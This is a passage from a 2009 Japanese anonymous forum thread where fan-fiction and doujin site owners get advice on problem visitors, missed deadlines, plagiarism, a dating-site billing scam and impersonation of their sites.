193 ：スペースNo.な-74：2009/10/26(月) 21:32:16

締めたんだから話するのやめれば？

194 ：スペースNo.な-74：2009/10/27(火) 08:04:00

皆さん「これだけは言わせて！」が大好きですね（＾＾）

195 ：スペースNo.な-74：2009/10/27(火) 11:44:01

５レスで終わった雑談に
一晩経ってからそんな事を言いに来るなんて
お前気持ち悪い

196 ：スペースNo.な-74：2009/10/27(火) 20:00:12

どなたか相談に乗っていただけませんか？

当方が管理人で、問題は掲示板。
日記みたいな書き込みがだんだんエスカレートしてる方がいるんですが、最近は完璧に日記状態(最初はなんとか言葉のキャッチボールが出来てました)

返信がかなり早い方なので
当方が日数を置いている状態です、それでも30分以内に書き込みがある事も。
粘着っぽい(？)ので無視やアク禁はリスクが高いと考えてます。
出来れば穏便に、なにかいい方法があればと力を貸して頂きたく書き込みしました。
よろしくお願いします。

197 ：スペースNo.な-74：2009/10/27(火) 20:19:13

>>196
「ここはあなたの日記ではありません」
「度を超した書き込みは迷惑ですのでご遠慮下さい」
これをはっきり言っても分からないようなら、
あとは書き込みを承認制にするか、アク禁しかないと思うけど

粘着タイプなら穏便にというのは難しいよ
掲示板を撤去したくないのなら、
毅然とした態度できっぱり言った方がいい
それで荒らしメールが来たとしてもスルーで

198 ：スペースNo.な-74：2009/10/27(火) 20:28:59

>196
相談者はトリップつけて下さい

・サイトの改装って事にして、一時的に掲示板を外してみる
・書き込みが長文なら、掲示板の文字数に制限をつける
・管理人が許可した人だけが書き込める設定にする

思い付くのはこのくらいかな……
サイトそのものをアク禁が手っ取り早いと思うが。
ちなみに、相手に404を表示したり「閉鎖しました」のお知らせページに飛ばして
アク禁止されたと思われないようにする事はできるよ

199 ：スペースNo.な-74：2009/10/27(火) 20:32:19

・ちょっと忙しくてレスが遅くなりそうなので掲示板一旦閉じます
・暫くしてから再開、その人だけ書き込み制限
・問い合わせが来たら「原因わかりませんごめんなさい＞＜」
でダメだろうか

200 ：スペースNo.な-74：2009/10/27(火) 20:35:34

>>196
サーセン日記的カキコはご遠慮願いますー　でいいじゃない
それができないならBBS撤去
でもここできっぱり注意しないと、拍手とかメルフォからも来るようになるよ

201 ： ◆MboahnSNWg ：2009/10/27(火) 21:10:58

196です。
トリップについては失礼しました、ごめんなさい。
にも関わらず皆さん的確で温かなコメントをありがとうございます。
はっきり注意、物凄く苦手ですが
一度やってみます。

それでも駄目ならば掲示板を下げ、拍手やメルフォに注意書きをしてみます。

ありがとうございました。

202 ：スペースNo.な-74：2009/10/27(火) 22:01:26

オタクな彼氏彼女がほしいその25
http://love6.2ch.net/test/read.cgi/pure/1255789805/

避難所
http://jbbs.livedoor.jp/otaku/10646/

203 ：スペースNo.な-74：2009/10/28(水) 00:24:18

サイト閉鎖してしばらくたったんだけど
サーバー内のファイルは全部消して全部404になってるはずなのに
アクセス解析を見ると運営してたころと変わらないくらい
毎日訪問者のアクセスがあるんだがどういうこと…？

204 ：スペースNo.な-74：2009/10/28(水) 00:59:13

ここはトリップ推奨なの？強制なの？
このスレの最初の方読んだけど>>1にはトリップ推奨としか書いてないのにトリップ付けてないと叩かれるのはなんで？
そんなにトリップ付けさせたいならトリップ必須って書けばいいのに

205 ：スペースNo.な-74：2009/10/28(水) 01:14:23

>>1にトリップについて書かれていないのは
途中からIDの出ないこちらの板に飛ばされたからですよ

206 ：スペースNo.な-74：2009/10/28(水) 02:22:52

>>203
アクセス解析の種類とかアクセス数がどのくらいなのか書いてくれないことには何とも

>>204
別に付けなくても答えてはくれてるだろう
叩かれる要素をなくしたいなら付ければいいだけのこと

207 ： ◆Oi0cUmHUO6 ：2009/10/28(水) 07:20:29

相談です。
ジャンル特有の設備（チャットのようなものだと考えて下さい）を管理しています。
それを使用したい場合はその人に合わせた簡単なカスタマイズが必要な為
使用する１週間前までに必ず申し込みをしてください、としております。

相談したいのはそこをよく使用するＡさんの事です。
Ａさんはよくこの設備を利用していますがとにかく申請が遅いのです。
１週間前ギリギリの23：58分…というような事がザラでした。
でもまあ一応締め切り範囲内か…と思いその都度もう少し早くお願いします、と一言添えて受けてきました。
それが先日はまた１週間前の23時台に滑りこみ
「Ｂさんに確認を取ってない。取ってからまた来るので受けて欲しい」
と言われ、利用日３日前の日付変更ギリギリに「この間の頼む！」と使用依頼が来ました。
この時は
「締め切りを１週間前に指定しているのは私は平日に仕事があり忙しいから。
　また忙しさの波は不定でメールを見ていない、ＰＣに触れない時もある。
　今は忙しい。３日後では無理だ。」
とお断りし、その次の週に変更しました。

この時はＡさんも謝ってくれ、特にゴネられたりはしませんでした。
ですが今回また、締め切りを２日過ぎて申し込みが来ました。

続きます

208 ： ◆Oi0cUmHUO6 ：2009/10/28(水) 07:22:04

（続きです）
この時の申し込み内容には締め切りに関することは一切書かれておらず
「まだ誰も申し込みしてないならお願いします」
といった文章と、必要事項、軽い雑談のみでした。
今週はイベント日でもありずらしたくないという雰囲気があります。

Ａさんは社会人で特に困った人、というわけではありません。
交流も普通程度以上にあります。

恐らくＡさんは自分が利用する際に開示するものを土日で用意し
作業の終った日曜深夜へ私へバトンタッチ・その週の土曜に開催がベストだと
考えているのかな…と思います。
イベントに関しては受けたいという気持ちといい加減にしてくれという気持ちが半々です。

どのように言えばＡさんは解ってくれるのか、今後ちゃんと締め切りを守ってくれるのか
何か良い言い方はないでしょうか？宜しくお願いします。

209 ： ◆Oi0cUmHUO6 ：2009/10/28(水) 07:22:48

失礼しました、トリップばかり気にしてあげてしまいました。
申し訳ありません。

210 ：スペースNo.な-74：2009/10/28(水) 07:29:11

>Ａさんは社会人で特に困った人、というわけでは～
社会人のクセに締め切り破りの困った人、じゃないの？
甘やかすから甘えてんだよ、時間ギリギリは受け付けても
締め切り破ってるならきっぱり断れば良い。
管理人ならそれくらいのルールもってないと続かないよ。

211 ：スペースNo.な-74：2009/10/28(水) 07:54:55

>>207
次の週に変更など譲歩姿勢を見せるのをやめる
締め切りが過ぎたものは破棄を徹底する
締め切りが過ぎても何とかなるなら守らなくてもいいやって思うよ

212 ：スペースNo.な-74：2009/10/28(水) 10:50:06

>>208
どんなに親しくても締め切りを破ったものは突っぱねる
逆に1週間前という期日を守ってるならギリギリでも受け付ける
同人で好意でやっていることであっても管理するところはしっかり管理する、という姿勢は見せないと
たとえ悪い人じゃなくてもルーズな人は決して改善しないしつけあがるよ
締め切りを守って欲しいなら、今回だけは、みたいな対応は絶対に禁物

213 ：スペースNo.な-74：2009/10/28(水) 12:32:21

>>207
他の人に同意。あとは、
＞使用する１週間前までに必ず申し込みをしてください
の下に
〆切りに反したお申し込みは一切受け付けません（お断りします）
とでも足したらどうか

Aさんに対しては
「〆切りを破った申し込みは今回で2度目だ。
　期限は提示しており、前回の返信で〆切り指定の理由も告げた。
　ご理解頂けず、もし再度〆切りを破った申し込みを送ってくるなら、
　今後は一切申し込みを受けない」
（を、まあ適度な表現で）

214 ：スペースNo.な-74：2009/10/28(水) 12:48:26

他の人が言ってるように断るか、Aさんの締め切り破りをどこまでも
許し続けるかの問題になっていくと思うよ
それにAさんだけ特別扱いするわけにもいかないし、そういうことをして
Aさんの口から他の人に伝わったら他の人も同じように許す範囲を
広げていかないといけなくなるんじゃないか？

一度くらいなら許せるだろうけど、もういい加減にしてくれという気持ちが
ある時点で結論は出てるんじゃないか

215 ：スペースNo.な-74：2009/10/28(水) 15:53:16

>>203
ソースごとパクられてミラーサイト

216 ：スペースNo.な-74：2009/10/28(水) 16:05:34

アク解は生ログじゃなくてレンタルかな

217 ：スペースNo.な-74：2009/10/28(水) 16:29:38

>>204
>>149あたりにある。

218 ：スペースNo.な-74：2009/10/28(水) 16:36:31

相談させて下さい。

サイトを移転した際に、相互様にリンクについての連絡をメールでしました。
しかし、１人の方が１ヶ月たってもまったく張り替え（または削除）てくれません。
更新は頻繁にされているし、今まで返信がなかったことはないので焦っています。
移転したことも知っている筈です。（よく来て下さったので）

もしかしてメルフォがうまく送られていないのかもしれないと思ったのですが、気まずくて聞けずじまいです。
それでも、確認してみたほうがいいのでしょうか？もう少し待った方がよいでしょうか？

219 ：スペースNo.な-74：2009/10/28(水) 16:46:59

>>218
※同人ノウハウ板へ移転しIDが出なくなったため、相談者はトリップ必須。
トリップの付け方→名前欄に#（半角）に続けて適当な文字列を入れる。
文字列が同じであれば、同一サーバ内では日付やスレッドが変わっても
同じトリップがつくので、騙りが防止できます

何もなかった振りをして、もう一度同じ文面で送ればいいじゃないか。
それで何の変更もなくても、何も言わないでおく。
面倒なのでまとめてやるか、気にしてないんじゃないの、くらいで。

220 ： ◆Oi0cUmHUO6 ：2009/10/28(水) 21:50:14

>207-208です。ご意見有難うございます。

困った人ではない…というのはいわゆる厨ちゃんのような人ではなく
他の事では普通に一般常識がある人、という意味でした。表現が悪くて申し訳ありません。

頂いたご意見を元にお返事をしてみようと思います。
ありがとうございます。
サイトの注意書きも少し手を加えてみようかなと思います。

ここからは蛇足なのですが

イベントを企画してくれるＡさんはありがたいし
自分も参加したいという気持ちがあったので自分がデモデモダッテの状態になっていました。

頂いた意見を読んで考えていたのですが、自分が何にイラついていたのかというと
「締め切りを破ってしまってごめんなさい」の一言がなかった事に一番イライラしていたようです。
返答のメールは細々書いていると受けそうになってしまっていたので事務的に返答を致しました
自分が狭量過ぎるのか悩んでいたのですが楽になりました。相談を聞いて頂きありがとうございます！

221 ：スペースNo.な-74：2009/10/28(水) 23:36:14

>>220 ガンガレ

222 ：スペースNo.な-74：2009/10/31(土) 15:35:03

>220
謝れない、謝らない人はなんだかんだいって問題アリだよ
流されないよう負担にならないようガンバってね

223 ：スペースNo.な-74：2009/10/31(土) 16:04:12

ちんこがみなぎるような絵を書いてくれ!!!!!ってなリクエストが来たんでIPみたら前にガチホモ妄想送ってきた厨（多分女性）と同じだった。

224 ：スペースNo.な-74：2009/10/31(土) 16:12:48

厨メと間違えた

225 ：スペースNo.な-74：2009/11/01(日) 02:12:34

最低だな

226 ：スペースNo.な-74：2009/11/01(日) 08:52:40

こんにちは
突然ですか相談です。
昨夜あるサイトの小説パスを貰うため、指定されたメルマガに登録しました。
(サイトからの説明では、同士がたくさんおり友達が出来やすい。等書いてありました)
しかし今朝その登録したメルマガサイトから料金発生メールが届き、今日中に払わなければいけないと明記されていました。
ここで初めてその登録したサイトを見ると、なんと出逢い系…
紹介欄にはそんなことは一言もなかったため、驚きと同時にどうすればいいのかわからなくなってしまいました
退会しようにも『料金未納入のためできません』と帰ってくるだけで…
これは本当に払わなければならないのでしょうか？
また、メールにお客様端末から個人情報を調べ～とありましたが、そういうことは可能なのでしょうか？
初めてのことで混乱していますが、アドバイスお願いします。

227 ：スペースNo.な-74：2009/11/01(日) 09:00:56

>>226
とても重大な問題です
あなた一人で解決は無理なので両親に相談しましょう
そして今後の携帯(パソコン)の扱いについて話し合ってください

228 ：スペースNo.な-74：2009/11/01(日) 09:49:14

一体何歳のお子様だw
そんな初歩的で典型的な詐欺に引っかかるとわ
本当にきちんと両親に話をした方がいい
子供が自分でなんとかしようとしたら、余計に悪い方向に進んでしまって、何十万何百万って請求がくるぞ

229 ：スペースNo.な-74：2009/11/01(日) 10:25:59

>>226
大丈夫ですよ！

230 ：スペースNo.な-74：2009/11/01(日) 10:28:14

>>228はにほんごをきちんとつかおうね。
しまじろうとやくそくだよ！

231 ：スペースNo.な-74：2009/11/01(日) 11:02:49

>>226
その程度の認識でネットやってやたらに登録とかするやつ居るから
未だにこんな低級詐欺に引っかかる人間が減らないんだなー
目の前の箱でググレよマジで

まーぶっちゃけた話放置でおｋ
何故放置でおｋかはそれもググレ、記事いくらでもあるから
もしくは親に言え、後オン活動したいならそれなり最低限の認識と知識持て

232 ：スペースNo.な-74：2009/11/01(日) 11:26:57

上げてるし釣りだろ

233 ：スペースNo.な-74：2009/11/01(日) 11:31:49

>>232
>>142-143

234 ：スペースNo.な-74：2009/11/01(日) 11:50:07

テンプレすぎる被害相談だから叩かれてるんだろ

235 ：スペースNo.な-74：2009/11/01(日) 15:08:42

>>226
ネタだとしても｢病気の子はいなかった｣で済ませるためのスレだから全力で答える

そのメールには一切返信及びリアクションをしない
返信してしまうと「生きてるメールアドレス」として収集されるから
無料アドレスならすっぱり削除、携帯アドレスならとっとと変更
以降無視、完全に無視
その手の登録は基本的にアドレス収集目的かgkbrしたあなたのような人を騙すのが目的で、登録後パスワード云々はでたらめと考えて問題ない
こういうことが起きたときに慌ててしまうようなら、アダルトコンテンツには手を出さない方が無難

236 ：スペースNo.な-74：2009/11/01(日) 23:47:25

アダルトに限らず最近は「同人サイトの偽装」があるらしいよ
そういう系統の詐欺

二次に寛容なジャンルだと公式が注意喚起してたりする

237 ：スペースNo.な-74：2009/11/01(日) 23:57:50

相談させてください。
当方、虹小説のピコサイト持ち。
週１ペースでお伺いしている同ジャンルの絵描きさんが、
ご自分で考えた私服をキャラに着せているイラストを、サイトに掲載されていて、
そのデザインというか、服の雰囲気が気に入ってしまい、
そのキャラが、そのイラストの衣装に似たデザインの着ているという設定で、
自分のサイトに掲載する為の小説を書きました。
（小説の中で、服の細かな描写が出てきます）

後書きの中で、「衣装は●●様のイラストを参考にしました」
と記載するつもりですが、これだけでは不十分でしょうか？
イラストを描いた方に了解を得てから、掲載した方がいいでしょうか？
相手の方とは交流がなく、私が一方的にサイトにお伺いしている状況です。
服が結構特殊なデザインなうえ、狭いジャンルなので、
読む人が読めば、どのサイトのイラストを参考にしたのかがわかると思います。

ただ、相手の方の連絡手段が、拍手しかありません。
拍手から問い合わせをしてもいいのでしょうか？
アドバイスをお願いします。

238 ：スペースNo.な-74：2009/11/02(月) 00:31:43

>>237
全く交流がない事を考えると、ちょっと一方的かなという感じがする
人によっては「勝手に使われた！」と不快に思うかもしれないし
後書きを全く読まずに「パクリしてる！」とあなたや向こうの管理人に
凸する厨が湧かないとも限らない

拍手しか連絡手段がないなら、拍手で聞いてみていいと思う
毎週通うくらい好きなサイトなら、これを機に交流してみては？

239 ：スペースNo.な-74：2009/11/02(月) 00:36:44

三次創作ってことになるよね
付き合いのない管理人に、何の連絡もなしに後書きで名前出されたらさすがに驚く
嬉しいと思う人も>>238の言うように不快に思う人もいると思う
拍手からでも事前に問い合わせはしたほうがいい
断られてもスルーされても泣かないこと

240 ：237：2009/11/02(月) 01:18:45

>>238
>>239
アドバイスをくださいまして、有り難うございます。
早速拍手にて、了解を頂きたい旨をお願いして参りました。
（どう書いていいのか解らず、ビジネス文書の様な文面になってしまいましたが）
相手の方のサイトはリンクページが無いので、もしかすると断られる可能性が高いですが、
断られてもスルーされても、泣かない様にします。

241 ： ◆n2CvFLlWUU ：2009/11/04(水) 15:46:57

相談させてください。
疲れた管理人～にも書かせてもらったんですが、
ジャンルということも出来ないほどマイナーで、最近まで当サイトしかなかった二次。

当方のサイトが切欠でサイトを作ったという管理人がいるんです。
それはその人のお世辞じゃなくって、当サイトでチャット中の流れで
作ることになったので確実です。
でもその人とはチャットでしかお話したことも無く、
勿論感想だって貰ったことは一度もありません。
あったのは一度限り、サイトが完成したので確認してほしいという連絡だけです。
でも、うちにリンクを貼ったりもしていないんです。

長くなったんで続きます。

242 ： ◆n2CvFLlWUU ：2009/11/04(水) 15:56:43

それなのに、チャットには毎回欠かさず最初から最後まで参加して
チャットの中で出てきたネタや、閲覧者からの「次～書いてほしい」
ということや、こんなのあれば楽しいねといった話をすべて、
「貰いました！」「書きますのでご期待下さい」「楽しみに～」といったように
もって行ってしまうのです。
閲覧者もビックリ状態で・・・まったく楽しめないそうで、回を追う毎に参加が減ってきました。
そんな状態で先週末、その人にチャット中に私の書く文法がなってないと指摘されまして、
実は7月からこっち同じ文面でネットカフェのようなところから、
「文法を正しく書いてほしい、書けないならやめろ」という中傷拍手を貰っていたのです。
もしかして・・・と思いまして。

こんな人に対してどのように注意すれば良いのか悩んでいます。
アドバイスよろしくお願いします。
ちなみにその人のプロバイダーは大手で、サイトのトップにはうつ病持ちと書いています・・・。

243 ：スペースNo.な-74：2009/11/04(水) 16:02:52

>>241
どう見ても関わっちゃいけない人です。
注意するより、全力で逃げたほうがいい

244 ：スペースNo.な-74：2009/11/04(水) 16:29:43

>>241
悪いけど、第三者から見たらそんな状態なのに管理してない管理人も微妙。
キック機能を使うか、ないならあるチャットを使うとか、サイト自体にアク禁かけて
チャットを取替えるとか、手は打てたと思うんだが。
今できることは注意でなく、アク禁等で向こうからの接触をシャットダウンすることだと思う。
ネカフェからの嫌がらせは無視して、通報レベルまでいくなら通報。
そういう人に何を言っても逆効果だよ。

245 ： ◆n2CvFLlWUU ：2009/11/04(水) 16:44:39

>>244
アク禁したいんですが、IPが毎日変わりますし
プロバイダーが大手で50人以上が影響を受ける状況なんです。
チャットもIPが変わるので開催するまでは弾けないという・・・。
この間は私が去ると同時に、その人も強制退去させたんですが、
直後に「チャットがおかしくなって、もう入れなくなってる」とメールフォームから連絡が・・・
それにはメールアドレスが載っていたので、返事をした方が良いのかもと悩んでまして・・・
でも、>>243さん　>>244さんが仰って下さるように何を言ってもヤバイですよね

246 ：スペースNo.な-74：2009/11/04(水) 17:47:47

アク禁してネカフェ等からの中傷は無視、
次回からはチャットに来たら問答無用キックで
それに関しては一切コンタクト取らない（質問メール等来ても無視）

が一番だと思うけど、大手バイダだからアク禁はしたくないんだよね
だったら、↑の内アク禁以外を実施して、ひたすら無視しかないと思う
ひょっとしたら、連日中傷メール・コメや、相手サイトでの名指し文句、
悪くすると晒しなんかの弊害が起こるかもしれないけど
周囲は、どっちが変かちゃんと分かってくれると思うから
>>241は気付かないフリして淡々とサイト運営していけばいいと思う

247 ：スペースNo.な-74：2009/11/04(水) 17:52:48

HNをNGにすれば？

248 ：スペースNo.な-74：2009/11/04(水) 17:58:46

>>245
アク禁はIPやホストが駄目でも、クッキーでいけそうな気もしないでもないけどな。
チャットは去ると同時にでなく入ってきたら即キックでいい。
参加者が減るくらいみんな気分悪くしてるのに、なんでいつまでも滞在させてんの？
拍手やメールは相手が言ってくる中傷をＮＧにするとかフォルダを分けるとかして対処。
相手の中傷や連絡は全部スルー。
他所で暴れるかもしれないが、相手が暴れようが晒しをしようが241に非がなく
スルーを徹底すれば、どっちが悪いかなんかすぐ分かるし。

249 ：ねこま：2009/11/04(水) 21:43:38

>245
アク禁は一か月だけ、という限定条件でのみ使ってみたらどうだろうか。
アク禁したら二度と解除できないわけじゃないし。
チャットは皆の言うように即キック。
もうそいつは空気読めないからはっきり言うか無視するしかない。
はっきり言うのは暴れそうだからおすすめしない。
>245にとってそいつ＜他の閲覧者ならばはっきりと対処しなければ
大声あげて>245を思い通りにしようとしてるそいつが我を通せて
空気読んで何も言わずにさっていく閲覧者が消えていく可能性もある。
そこまでしたらどうなるか・・・と思うなら
そいつのせいで>245のサイトに閲覧者０、友管理人も去っていってしまい
しかも>245といるとそいつがくっついてくるからと周りも避ける状態になり
後に残ったのは粘着的なそいつのみになってしまった場合
何を考えるか、どうすべきだったと考えるかを考えて行動したらいい。

昔大声あげてるメンヘラの言うことばかりきつくしたらやばくなるからと気にかけて
無言（どうにかしてほしい）や小声は放置しても痛言動はないからと放置したリア友は
周りに誰もいなくなってからあの時こうしてれば良かったと嘆きながら
大好きだったサイト閉じて創作活動そのものから去ったから
>245も誰を優先させるかははっきりさせといたほうがいいよ。

250 ： ◆n2CvFLlWUU ：2009/11/04(水) 22:00:50

アドバイスくださりありがとうございました。
アク禁ができれば良いんですが、今のジャンルではカップルとか関係無しに、
その作品を扱ってるサイトが、当サイト以外、彼女のサイトしか無く・・・。
折角きてくださっている閲覧者をアク禁に巻き込んでまで、
彼女の締め出しは考えられなかったので悩んでいました。

チャット自体をやめたほうが良いのかなとも思っていたのですが、
こちらに書かせてもらっていたら、彼女に屈するのも絶対に嫌だ！と実感しましたので、
これからは、入室された瞬間に退去させて、そのまま入室禁止の処置をとる事にします。

10年間続けてきた一人ダンシング。
閲覧者は絶対に分かってくれると思うので、はっきりとした処置で行きます！
気持ちが軽くなりました！ありがとうございました！！

251 ： ◆xovGJ0qCaA ：2009/11/07(土) 18:02:42

９月半ば、FC２小説に自分が書いた長編を転載されていた。紹介文から本文まで丸ごと。
先月その事に気付いた時には既に全削除されていたので、相当気分が悪くなったが特に行動はとらないでおいた。

が、パクラーは一昨日から別の小説を連載開始。
新しい小説は自分のものではなかったが、その紹介文は半分以上が(既に削除された)自分の小説のもののコピペ。
（何が「尚、著作権は一切放棄しておりませんので、無断転載・転用は禁止します。」だよ）
著しくモニョる上、今回の連載物も誰かのパクりなんじゃないかと気になって仕方ないが、もう自分ができることはないんでしょうか？

252 ：スペースNo.な-74：2009/11/07(土) 18:16:10

どうしても気になるなら、ヲチスレ立てて、検証してもらえば？

253 ：スペースNo.な-74：2009/11/07(土) 18:19:25

>>251
あなたが行動できるのは、あなたがパクられた分だけです

254 ：スペースNo.な-74：2009/11/07(土) 18:43:50

>>251
紹介文っていうのは小説の説明文って事？
別の小説にあなたの小説の紹介文が付けられてるって、
何だが解せないんだが....

自分の小説の更新日だけはっきりさせておいて、後はスルーが良いと思うけど
突ついてみたいんなら、他人のふりして拍手とかからパクリ指摘してみたら？
前にパクったのを全削除してるのは、誰かに指摘されたからかもしれないから

255 ： ◆xovGJ0qCaA ：2009/11/07(土) 19:09:49

やっぱり特にできることはないよなあ(´・ω・`)
紹介文は作者名・作品名・ジャンル名が差し替えてあるだけで、後は自分の旧作紹介文をコピペしたもの。
リアの頃に書いたものだから今読み返すと相当痛い。正直勘弁してほしい…
連絡手段は公開式の感想板のみらしいから、しばらくして我慢できなくなったらやめるよう言ってみるわ

256 ：スペースNo.な-74：2009/11/07(土) 20:00:26

自虐だが、公開式なら「恥ずかしい紹介文ですよね、どこのリア厨のサイトからパクってきたんですか？　痛すぎて笑えますwww」と書いてくるとかな

257 ：スペースNo.な-74：2009/11/07(土) 22:11:04

いや、疑問なんだけど
その紹介文と連載小説内容は合ってるの？
合ってなかったら読んでる方はまさにイミフだろうし
仮に合ってる＝似た内容の小説うｐだったら
パクラーの自作だろうが更なるパクリだろうが
労力に見合わんというか、紹介文をパクる意味が分からん

258 ：スペースNo.な-74：2009/11/07(土) 22:21:09

その紹介文がアイタタな内容なら、
今現在アイタタなやつと思われてるのはパク厨じゃん
自分のサイトにも同じ紹介文がある訳じゃないんでしょ？
放置でいいと思うけど

259 ： ◆O3OjL65Tgw ：2009/11/08(日) 00:47:34

どなたかお知恵を授け下さい。

私はネットでのお付き合いは広く浅くタイプで、たくさんのサイトに感想を送るのが趣味です。
そんなわけで、自分の中では神と思う方（Ａさんとします）にもメールで熱い感想を送った所、喜んで頂いたのはいいのですが、困ったことになりました。

どうしても参加したいオフイベントが年内に何度かあるのですが、
Ａさんが、私が参加するなら自分も参加する、参加しないなら自分も参加しない、と予定を私と合わせてくるのです。
さらに困ったことに、Ａさん以外の方とお話しすると、後からもっと貴方とお話したかったのに、と少し恨み節の入ったメールが届きます。

次回はホテルに一緒に泊まろうとまで言われていますが、私にはＡさんぐらい仲良くさせて頂いている方が他にもおり、
束縛するＡさんより、大勢で賑やかに遊びたいのです…

もし下手に断って更新も途絶えたら悲しい（貴方からの感想が糧だと言われました）ですし、後味も悪いです。
べったりとした交流は望んでいないことを、上手に伝える言葉はないでしょうか？

260 ：スペースNo.な-74：2009/11/08(日) 01:18:51

>>259
かなり粘着タイプみたいだから難しそうだね
穏便に…と思って遠回しに伝えようとしていると、分かってもらえないか
最悪、増長してしまう気がする

「大勢で賑やかに遊びたい」「べったりとした交流は望んでいない」
これをはっきり言うしかないと思う
その際、Ａさん自身やＡさんの作品が大好きな事を一緒に伝えると
多少は角がなくなる……かもしれない

261 ：スペースNo.な-74：2009/11/08(日) 01:20:22

>>259
残念だけどそういう人と適度な距離で付き合うのは無理だと思う
Aさんの望みは259と二人っきりで濃厚な付き合いをする事なので
大勢で賑やかに遊びたいという259とは対極の所にいる
どう断っても「私より他の人を取った」というのは避けられないし
初回上手く断ったつもりでもじわじわ粘着ストーカー化する
どっちみち最後は耐えられなくなってCOとなるのが殆どだと思うので
早い内に付き合いを考え直した方がいい

>下手に断って更新も途絶えたら悲しい
こういう風に思わせるのが相手の手なので、後味悪く思う必要は無い
初期に相手してくれないと悟ったら他所に行くと思う

262 ：スペースNo.な-74：2009/11/08(日) 01:27:21

>259
独占欲強い人と広く浅くタイプの人は相性的にかなり無理な気がする
Aさんとの交流を取るか、ほかの大勢との交流を取るかじゃない？
今の段階で困った事になってるなら、無理して付き合うことはないと思うけど

Aさんが更新途絶えたらって後味が……って書いてるけど、
こういう人はどんなにオブラートに包んだ言葉でも
自分の望む通りじゃなかったら「拒絶された」って思い込むよ

263 ：スペースNo.な-74：2009/11/08(日) 02:48:40

>>259
傷つけずに上手く引いてもらう言葉はないと思う
独占欲の強い人で嫉妬を隠さないタイプだと依存傾向が強いから厄介だよ
プライドが高いタイプだと自分のほかにも神がいることがわかると引くけど
依存傾向が強いと他の神よりも自分を見てで独占しようとするんだよね
最悪>>259でなくて他の人に被害がいくこともあるから上手く立ち回った方がいいよ

話し合うことがあるならば、その時に特定の誰かの存在を匂わせないで
あくまで大勢でにぎやかに楽しむのが好きなのでという態度を貫くのは徹底した方がいいかも

264 ：スペースNo.な-74：2009/11/08(日) 09:28:33

>>259
Ａさんとの付き合いを見直すべきって意見が多いようなので別の案も提示してみる。
259の参加イベントが年間に複数あるのなら、そのうち１回をＡさん専用の日にして
それ以外は「すみません他の人との約束が」ってＡさんの誘いを断るのはどうだろう。
（この場合の他の人ってのは、複数の相手と賑やかに、でも構わない）
Ａさんが「259とお話し出来ないんならイベント行かない」と公言してるんなら
259が他の人と話してる時に恨みがましく見つめてくることもこれで無くなると思うが。

Ａさんは粘着気質っぽいので上記の申し出に対し「もっともっと259とお話ししたい」と
言ってくる可能性が高いが、そうなったら「259と違うスタンスを押しつけてくる人」って
ことがはっきりするわけだから、259にとっても躊躇いなく友やめできるだろ。

265 ：ねこま264：2009/11/08(日) 09:34:10

書き忘れたが友やめを推奨してるわけではなく、
Ａさんが「１度でいいから259と心ゆくまでお話ししたい」という願いを抱いてるだけで
粘着気質でもなんでもない可能性が（わずかでも）あるのかな、と259が迷っているなら
>>264の方法で試してみる手もあるよ、と。

266 ：スペースNo.な-74：2009/11/08(日) 12:57:40

基本的に同人活動なんて自分がやりたくてやることなんだから
もしAさんがイベント不参加としても更新しなくなったとしても
それは>>259のせいじゃなくて偶然時期が被っただけなんだよ、きっと

上でも言われてるけど、交流のやり方が違うことと
どんな相手に対してでも自分はそのスタイルを変えるつもりはないことを
正直に話したほうが結果的に角が立たないように思う
そのときはやっぱり「Aさんのことが嫌いなわけじゃない」
ということがしっかり伝わるようにして、
あとはAさんがどうするかっていうことじゃないかと
（納得して合わせてくれるんならめでたしだし、粘着してきたら友やめ）

267 ： ◆vLGyAchrIo ：2009/11/08(日) 13:22:47

短編雑食夢小説サイトをやってるのですが
サイトに設置してあるメルフォに来たメールにどう返すべきか困っています。
アドバイスお願いします。

来たメール
その1
〇〇ちゃんゑ
来てみたょ！××的にはもっとェろシチュ増ゃした方がぃぃとぉもぅヮﾗ
名前伏せ、顔文字他略

その2
△△さんの権利ゎ〇〇がもらってあげます
ぉ友だちにももぉ言ったのでワガママはダメですょ

名前伏せ、顔文字他略

〇〇は読めませんがなんか画数の多い漢字で、
××は多分本名(山田花子みたいな)で
△△は自分のHNです。

その1みたいなメールが複数アドから来ていて少し不安です。
どうぞ宜しくお願い致します。

268 ：スペースNo.な-74：2009/11/08(日) 13:26:24

>>267
別に返さなくてもいいと思う、むしろしない方が。
つかメールの返事くらい自分で考えられないのか。

269 ：スペースNo.な-74：2009/11/08(日) 13:33:13

>>267
返事をする必要は無いよ
乗っ取りの可能性があるので、
下のスレを参考に対策するといいと思う

乗っ取り・騙り被害報告83＠同人
http://changi.2ch.net/test/read.cgi/2chbook/1256729087/

270 ：スペースNo.な-74：2009/11/08(日) 13:36:07

>267
複数アドでも同一人物かもね
メールはスルーでバルサン推奨

271 ：スペースNo.な-74：2009/11/08(日) 13:42:04

スマソ、補足

バルサン＝日記などで萌え語り以外の自分の日常を書いたり、
ストラップ付いた携帯やペット等、自分しか持ってないものの写真をうpして、
「ここはアタシのサイトなの～」と騙っている厨をあぶり出すこと

被ってしまったが詳しくは>>269のまとめサイトを見るといいです

272 ：スペースNo.な-74：2009/11/08(日) 13:45:02

>>267
私だったら、その1の連中にだけ
「○○さんではありません。人違いでは」とコピペ返信するかな・・・

273 ：スペースNo.な-74：2009/11/08(日) 13:50:39

つかそんなバルサンとか対処に名称がつくくらいには一般的な現象なのかよこれ……。
日本終わってんな。

274 ：スペースNo.な-74：2009/11/08(日) 13:56:51

バルサンは乗っ取りスレ専用の言葉な気がするけど...

学校でHP作成の課題が出た時に
他人のサイトを「これ私のサイトです」って提出
とか結構あるらしい

275 ： ◆vLGyAchrIo ：2009/11/08(日) 14:07:17

お早いアドバイスありがとうございます。
その1には別人である事を返信し、
その2については乗っ取りスレのまとめを参考に対処しようと思います。
本当にありがとうございました。

276 ：ネ困259 ◆O3OjL65Tgw ：2009/11/08(日) 19:12:28

259です。
実は今日急展開が起きまして、件のＡさんが結婚するため、暫くオンオフ同人活動を休止する、という事態になりました…

結果として相手側からFOされそうで、心配することもなく次のイベントに望めそうです。

相談に答えて下さった方々、どうもありがとうございました。

277 ：スペースNo.な-74：2009/11/08(日) 20:16:35

つまり結婚するからと活動休止した人がＡさんか。
相手の身バレはどうでもいいんだね。

278 ：スペースNo.な-74：2009/11/08(日) 20:38:26

他の人の参考にならない事後報告はいらん

279 ：スペースNo.な-74：2009/11/08(日) 20:56:34

昨日の書き込みを見ていて何だかモニョったが、
276を読んで自分の都合しか考えていなさそうな人物だと思った
色んな人にいい顔をしていて、都合が悪くなると悪者扱い

Aさん、乙
そして幸あれ

